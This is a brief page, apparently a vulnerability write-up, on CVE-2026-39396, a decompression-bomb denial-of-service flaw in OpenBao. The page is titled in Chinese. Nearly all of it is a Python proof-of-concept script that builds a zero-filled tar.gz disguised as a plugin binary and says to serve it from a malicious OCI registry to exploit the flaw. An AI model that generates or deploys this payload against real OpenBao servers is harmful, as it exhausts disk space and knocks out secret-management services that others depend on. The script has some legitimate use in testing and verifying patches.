CVE-2026-39396 OpenBao 解压缩炸弹导致拒绝服务漏洞

import os import tarfile import gzip # PoC Concept: Generate a decompression bomb payload # This script creates a highly compressible file (zeros) and packs it into a tar.gz. # When extracted by the vulnerable OpenBao version, it consumes disk space. def generate_bomb(output_file, uncompressed_size_mb=100): """ Generates a tar.gz file that decompresses to a specified size. In a real attack, this would be much larger (GBs). """ # Create a temporary file filled with zeros (highly compressible) temp_file = "temp_large_file.bin" chunk_size = 1024 * 1024 # 1MB print(f"Generating {uncompressed_size_mb}MB payload...") with open(temp_file, "wb") as f: for _ in range(uncompressed_size_mb): f.write(b"\x00" * chunk_size) # Compress it into a tar.gz stream print("Compressing payload...") with tarfile.open(output_file, "w:gz") as tar: tar.add(temp_file, arcname="plugin_binary") # Clean up os.remove(temp_file) print(f"Bomb created: {output_file}") print("Serve this file via a malicious OCI registry to exploit CVE-2026-39396.") if __name__ == "__main__": generate_bomb("malicious_plugin.tar.gz", uncompressed_size_mb=100)